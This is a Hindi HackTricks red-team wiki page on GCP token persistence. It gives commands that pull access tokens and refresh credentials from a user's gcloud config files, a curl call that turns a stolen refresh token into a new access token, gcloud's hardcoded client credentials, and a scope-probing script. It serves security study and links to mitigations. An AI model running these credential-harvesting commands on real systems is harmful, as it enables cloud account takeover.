GCP - Token Persistence

Reading time: 6 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

प्रमाणित उपयोगकर्ता टोकन

किसी उपयोगकर्ता का वर्तमान टोकन प्राप्त करने के लिए आप चला सकते हैं:

bash
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"

इस पृष्ठ पर देखें कि gcloud का उपयोग करके इस टोकन का सीधे उपयोग कैसे करें:

Cloud SSRF - HackTricks

नया एक्सेस टोकन उत्पन्न करने के लिए विवरण प्राप्त करने के लिए चलाएँ:

bash
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"

यह भी संभव है कि $HOME/.config/gcloud/application_default_credentials.json और $HOME/.config/gcloud/legacy_credentials/*/adc.json में रिफ्रेश टोकन पाए जाएं।

एक नया रिफ्रेश किया गया एक्सेस टोकन प्राप्त करने के लिए refresh token, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ चलाएं:

bash
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token

Admin > Security > Google Cloud session control में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:

Auth flow

जब gcloud auth login जैसे कुछ का उपयोग करते समय प्रमाणीकरण प्रवाह एक ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी स्कोप को स्वीकार करने के बाद ब्राउज़र इस तरह का एक अनुरोध उपकरण द्वारा खोले गए http पोर्ट पर भेजेगा:

/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1

फिर, gcloud एक कुछ हार्डकोडेड client_id (32555940559.apps.googleusercontent.com) और client_secret (ZmssLNjJy2998hD4CTg2ejr2) के साथ स्थिति और कोड का उपयोग करके अंतिम रिफ्रेश टोकन डेटा प्राप्त करेगा।

caution

ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।

OAuth Scopes

आप सभी Google स्कोप https://developers.google.com/identity/protocols/oauth2/scopes पर पा सकते हैं या उन्हें निष्पादित करके प्राप्त कर सकते हैं:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u

यह स्क्रिप्ट यह देखने की अनुमति देती है कि gcloud द्वारा प्रमाणीकरण के लिए उपयोग किए जाने वाले एप्लिकेशन के लिए कौन से स्कोप समर्थित हैं:

bash
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope         \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done

इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:

https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email

यह देखना दिलचस्प है कि यह ऐप drive स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।

यहां देखें कि कैसे इसका दुरुपयोग करें

सेवा खाते

जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की निजी कुंजी फ़ाइल को समझौता कर लेते हैं, तो आप इसे आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे
हालांकि, यदि आप एक सेवा खाते का OAuth टोकन चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि पीड़ित निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब तक मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता

मेटाडेटा

स्पष्ट रूप से, जब तक आप GCP वातावरण में चल रही मशीन के अंदर हैं, आप उस मशीन से जुड़े सेवा खाते तक पहुँच प्राप्त कर सकेंगे, जो मेटाडेटा एंडपॉइंट से संपर्क करके। (ध्यान दें कि इस एंडपॉइंट में आप जो Oauth टोकन एक्सेस कर सकते हैं, वे आमतौर पर स्कोप द्वारा प्रतिबंधित होते हैं)।

सुधार

इन तकनीकों के लिए कुछ सुधार https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 में समझाए गए हैं।

संदर्भ

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें